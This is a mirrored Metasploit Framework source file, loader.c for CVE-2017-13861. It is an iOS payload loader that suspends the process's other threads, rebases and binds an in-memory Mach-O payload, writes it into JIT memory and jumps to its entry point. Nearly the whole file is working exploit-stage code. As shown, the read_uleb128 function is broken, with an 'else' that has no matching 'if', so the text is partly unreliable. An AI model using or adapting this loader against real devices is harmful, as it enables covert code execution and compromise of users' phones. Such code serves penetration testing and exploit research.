CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/loader.c
Views: 11780
1
#include <stdio.h>
2
3
#include <dlfcn.h>
4
5
#include <mach/mach.h>
6
7
#include <mach-o/fat.h>
8
#include <mach-o/loader.h>
9
#include <sys/mman.h>
10
#include <mach/vm_map.h>
11
12
#include "magic.h"
13
14
/*#define DEBUG 1*/
15
16
//asl_log isn't working, so: idevicesyslog | grep SandboxViolation
17
#ifdef DEBUG
18
#define debug_print(fmt, ...) \
19
do { \
20
char* buffer = malloc_func(1024); \
21
sprintf_func(buffer, fmt, __VA_ARGS__); \
22
fopen_func(buffer, "w"); \
23
free_func(buffer); \
24
} while (0)
25
//do { asl_log_func(0, 0, ASL_LEVEL_ERR, fmt, __VA_ARGS__); } while (0)
26
#else
27
#define debug_print(fmt, ...)
28
#endif
29
30
#define DLSYM_FUNC(func, library, return_type, args...) \
31
typedef return_type (*func##_ptr)(args); \
32
func##_ptr func##_func = dlsym_func(library, #func);
33
34
typedef void* (*t_dlsym)(void* handle, const char* symbol);
35
typedef void* (*t_dlopen)(const char* library, int rtld);
36
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend);
37
38
void init(void* dlopen_addr, void* dlsym_addr, void* jitwrite_addr, uint64_t startOfFixMem, uint64_t endOfFixMem)
39
{
40
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
41
dlsym_ptr dlsym_func = dlsym_addr;
42
typedef void* (*dlopen_ptr)(const char *filename, int flags);
43
dlopen_ptr dlopen_func = dlopen_addr;
44
45
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
46
47
// Suspend threads
48
typedef mach_port_t (*mach_task_self_ptr)();
49
typedef thread_port_t (*mach_thread_self_ptr)();
50
typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
51
typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
52
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
53
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
54
mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
55
thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
56
task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
57
thread_act_t current_thread = mach_thread_self_func();
58
mach_msg_type_number_t thread_count;
59
thread_act_array_t thread_list;
60
kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
61
if (!result && thread_count) {
62
for (unsigned int i = 0; i < thread_count; ++i) {
63
thread_act_t other_thread = thread_list[i];
64
if (other_thread != current_thread) {
65
thread_suspend_func(other_thread);
66
}
67
}
68
}
69
70
uint64_t payloadBuffer = endOfFixMem - (0x100000 - 0x10000);
71
72
#ifdef DEBUG
73
DLSYM_FUNC(malloc, libsystem, void*, size_t)
74
DLSYM_FUNC(free, libsystem, void*)
75
DLSYM_FUNC(sprintf, libsystem, int, char* str, const char * format, ... );
76
DLSYM_FUNC(fopen, libsystem, FILE*, const char * filename, const char * mode );
77
debug_print("%s", "hello from metasploit");
78
debug_print("%s", "hello from metasploit");
79
debug_print("%s", "hello from metasploit");
80
debug_print("%s", "hello from metasploit");
81
debug_print("%s", "hello from metasploit");
82
83
debug_print("main:%p", (void*)init);
84
debug_print("end:%p", (void*)endOfFixMem);
85
debug_print("buffer:%p", (void*)payloadBuffer);
86
debug_print("nbuffer:%p", (void*)*(uint64_t*)payloadBuffer);
87
debug_print("start:%p", (void*)startOfFixMem);
88
#endif
89
90
load((void*)payloadBuffer, (t_dlsym)dlsym_func, jitwrite_addr, (void*)startOfFixMem, (void*)endOfFixMem);
91
}
92
93
void fail(uint64_t x) {
94
*(volatile int*)(0xbad000000000ull + x) = 0xdead;
95
}
96
#define ASSERT(x) if (!(x))fail(0xa00000000ull + __LINE__)
97
98
#define MIN(x,y) ((x)<(y)?(x):(y))
99
#define MAX(x,y) ((x)>(y)?(x):(y))
100
101
void performJITMemcpy(t_dlsym _dlsym, void* jitwrite, void* startOfFixMem, void* dst, void* src, size_t size)
102
{
103
typedef void (*JITWriteSeparateHeapsFunction)(off_t, const void*, size_t);
104
JITWriteSeparateHeapsFunction jitWriteSeparateHeapsFunction = jitwrite;
105
ASSERT(jitWriteSeparateHeapsFunction);
106
ASSERT(startOfFixMem);
107
108
int (*_memcmp)(const void *, const void*, size_t) = _dlsym(RTLD_DEFAULT, "memcmp");
109
110
off_t offset = (off_t)((uintptr_t)dst - (uintptr_t)startOfFixMem);
111
jitWriteSeparateHeapsFunction(offset, src, size);
112
113
ASSERT(!_memcmp(dst, src, size));
114
}
115
116
static inline uintptr_t read_uleb128(uint8_t** pp, uint8_t* end)
117
{
118
uint8_t* p = *pp;
119
uint64_t result = 0;
120
int bit = 0;
121
do {
122
ASSERT(p != end);
123
uint64_t slice = *p & 0x7f;
124
ASSERT(bit <= 63);
125
else {
126
result |= (slice << bit);
127
bit += 7;
128
}
129
} while (*p++ & 0x80);
130
131
*pp = p;
132
return result;
133
}
134
135
static inline uintptr_t read_sleb128(uint8_t** pp, uint8_t* end)
136
{
137
uint8_t* p = *pp;
138
int64_t result = 0;
139
int bit = 0;
140
uint8_t byte;
141
do {
142
ASSERT(p != end);
143
byte = *p++;
144
result |= (((int64_t)(byte & 0x7f)) << bit);
145
bit += 7;
146
} while (byte & 0x80);
147
// sign extend negative numbers
148
if ( (byte & 0x40) != 0 )
149
result |= (-1LL) << bit;
150
*pp = p;
151
return result;
152
}
153
154
// <3 qwerty
155
void rebase(struct dyld_info_command* dyld_info,
156
uint8_t* map,
157
uintptr_t* segstart,
158
uintptr_t linkedit_base,
159
uintptr_t reloc_slide) {
160
uint8_t* start = map + dyld_info->rebase_off + linkedit_base;
161
uint8_t* end = start + dyld_info->rebase_size;
162
uintptr_t address = (uintptr_t)map;
163
uintptr_t count = 0, skip = 0;
164
char done = 0;
165
uint8_t* p = start;
166
while (!done && (p < end)) {
167
uint8_t immediate = *p & REBASE_IMMEDIATE_MASK;
168
uint8_t opcode = *p & REBASE_OPCODE_MASK;
169
++p;
170
171
switch (opcode) {
172
case REBASE_OPCODE_DONE:
173
done = 1;
174
break;
175
case REBASE_OPCODE_SET_TYPE_IMM:
176
ASSERT(immediate == REBASE_TYPE_POINTER);
177
break;
178
case REBASE_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
179
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
180
break;
181
case REBASE_OPCODE_ADD_ADDR_ULEB:
182
address += read_uleb128(&p, end);
183
break;
184
case REBASE_OPCODE_ADD_ADDR_IMM_SCALED:
185
address += immediate * sizeof(uintptr_t);
186
break;
187
case REBASE_OPCODE_DO_REBASE_IMM_TIMES:
188
for (int i=0; i < immediate; ++i) {
189
*(uintptr_t*)(address) += reloc_slide;
190
address += sizeof(uintptr_t);
191
}
192
break;
193
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES:
194
count = read_uleb128(&p, end);
195
for (int i = 0; i < count; ++i) {
196
*(uintptr_t*)(address) += reloc_slide;
197
address += sizeof(uintptr_t);
198
}
199
break;
200
case REBASE_OPCODE_DO_REBASE_ADD_ADDR_ULEB:
201
*(uintptr_t*)(address) += reloc_slide;
202
address += read_uleb128(&p, end) + sizeof(uintptr_t);
203
204
break;
205
case REBASE_OPCODE_DO_REBASE_ULEB_TIMES_SKIPPING_ULEB:
206
count = read_uleb128(&p, end);
207
skip = read_uleb128(&p, end);
208
for (int i = 0; i < count; ++i) {
209
*(uintptr_t*)address += reloc_slide;
210
address += skip + sizeof(uintptr_t);
211
}
212
break;
213
214
default:
215
ASSERT(0);
216
break;
217
}
218
}
219
}
220
221
void bindit(struct dyld_info_command* dyld_info,
222
uint8_t* map,
223
uintptr_t* segstart,
224
uintptr_t linkedit_base,
225
t_dlsym _dlsym) {
226
uint8_t* start = map + dyld_info->bind_off + linkedit_base;
227
uint8_t* end = start + dyld_info->bind_size;
228
uintptr_t address = (uintptr_t)map;
229
uintptr_t count = 0, skip = 0;
230
char done = 0;
231
unsigned char type = 0;
232
uint8_t* p = start;
233
char* symbolName=0;
234
235
while (!done && (p < end)) {
236
uint8_t immediate = *p & BIND_IMMEDIATE_MASK;
237
uint8_t opcode = *p & BIND_OPCODE_MASK;
238
++p;
239
switch (opcode) {
240
case BIND_OPCODE_DONE:
241
done = 1;
242
break;
243
case BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:
244
break;
245
case BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:
246
read_uleb128(&p, end);
247
break;
248
case BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:
249
break;
250
case BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:
251
symbolName = (char*)p;
252
while (*p != '\0')
253
++p;
254
++p;
255
break;
256
case BIND_OPCODE_SET_TYPE_IMM:
257
break;
258
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:
259
address = (uintptr_t)(map + segstart[immediate] + read_uleb128(&p, end));
260
break;
261
case BIND_OPCODE_SET_ADDEND_SLEB:
262
read_sleb128(&p, end);
263
break;
264
case BIND_OPCODE_ADD_ADDR_ULEB:
265
address += read_uleb128(&p, end);
266
break;
267
case BIND_OPCODE_DO_BIND:
268
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
269
address += sizeof(uintptr_t);
270
break;
271
case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:
272
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
273
address += read_uleb128(&p, end) + sizeof(uintptr_t);
274
break;
275
case BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:
276
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
277
address += (immediate + 1) * sizeof(uintptr_t);
278
break;
279
case BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:
280
count = read_uleb128(&p, end);
281
skip = read_uleb128(&p, end);
282
for (uint32_t i = 0; i < count; ++i) {
283
*(uintptr_t*)address = (uintptr_t)_dlsym(RTLD_DEFAULT, symbolName+1);
284
address += skip + sizeof(uintptr_t);
285
}
286
break;
287
default:
288
ASSERT(0);
289
}
290
}
291
}
292
293
void load(void* buffer, t_dlsym _dlsym, void* jitwrite, void* jitstart, void* jitend)
294
{
295
# define FOR_COMMAND \
296
lc = (void*)(header + 1); \
297
for (int i = 0; i < header->ncmds; ++i, lc = (void*)((char*)lc + lc->cmdsize)) { \
298
299
# define FOR_SEGMENT_64 \
300
FOR_COMMAND \
301
if (lc->cmd != LC_SEGMENT_64) \
302
continue; \
303
struct segment_command_64* sc = (void*)lc; \
304
if (!_strcmp(sc->segname, "__PAGEZERO")) \
305
continue;
306
307
void* (*_mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset);
308
void* (*_memcpy)(void *restrict dst, const void *restrict src, size_t n);
309
int (*_strcmp)(const char *s1, const char *s2);
310
311
_mmap = _dlsym(RTLD_DEFAULT, "mmap");
312
_memcpy = _dlsym(RTLD_DEFAULT, "memcpy");
313
_strcmp = _dlsym(RTLD_DEFAULT, "strcmp");
314
315
uintptr_t exec_base = -1, exec_end = 0,
316
write_base = -1, write_end = 0,
317
base = -1, end = 0;
318
319
uint32_t* x = (uint32_t*)buffer;
320
while (*x != 0xfeedfacf)
321
x--;
322
323
struct mach_header_64* header = (struct mach_header_64*)x;
324
struct load_command* lc;
325
uintptr_t linkedit_base = 0;
326
uintptr_t segstart[32];
327
int segcnt = 0;
328
329
FOR_SEGMENT_64
330
uintptr_t from = sc->vmaddr, to = from + sc->vmsize;
331
segstart[segcnt++] = from;
332
if (!_strcmp(sc->segname, "__LINKEDIT"))
333
linkedit_base = sc->vmaddr - sc->fileoff;
334
if (sc->initprot & VM_PROT_EXECUTE) {
335
exec_base = MIN(exec_base, from);
336
exec_end = MAX(exec_end, to);
337
}
338
if (sc->initprot & VM_PROT_WRITE) {
339
write_base = MIN(write_base, from);
340
write_end = MAX(write_end, to);
341
}
342
base = MIN(base, from);
343
end = MAX(end, to);
344
}
345
346
uint8_t* tmpmap = _mmap(0, end - base, PROT_WRITE | PROT_READ,
347
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
348
ASSERT(tmpmap);
349
350
FOR_SEGMENT_64
351
_memcpy(tmpmap + sc->vmaddr, (char*)header + sc->fileoff, sc->filesize);
352
}
353
354
ASSERT(write_base >= exec_end);
355
void* rw = _mmap(jitend, end - write_base, PROT_READ|PROT_WRITE,
356
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
357
ASSERT(rw == jitend);
358
359
uint8_t* finalmap = jitend - write_base + base;
360
361
uintptr_t reloc_slide = (uintptr_t)finalmap;
362
363
FOR_COMMAND
364
if (lc->cmd == LC_DYLD_INFO_ONLY || lc->cmd == LC_DYLD_INFO) {
365
rebase((void*)lc, tmpmap, segstart, linkedit_base, reloc_slide);
366
bindit((void*)lc, tmpmap, segstart, linkedit_base, _dlsym);
367
}
368
}
369
370
if (jitwrite && jitstart) {
371
performJITMemcpy(_dlsym, jitwrite, jitstart, finalmap, tmpmap, write_base - base);
372
} else {
373
_memcpy(finalmap, tmpmap, (write_base - base) - 1);
374
}
375
_memcpy(rw, tmpmap + write_base - base, end - write_base);
376
377
void (*entrypoint)();
378
FOR_SEGMENT_64
379
uint64_t* x = (void*)(finalmap + sc->vmaddr);
380
while ((char*)x != (char*)(finalmap + sc->vmaddr + sc->vmsize)) {
381
if (*x == MAGIC) {
382
entrypoint = (void*)*(x+1);
383
goto found_entrypoint;
384
}
385
x++;
386
}
387
}
388
389
found_entrypoint:
390
391
entrypoint();
392
}
393
394
int main()
395
{
396
return 0;
397
}
398
399
400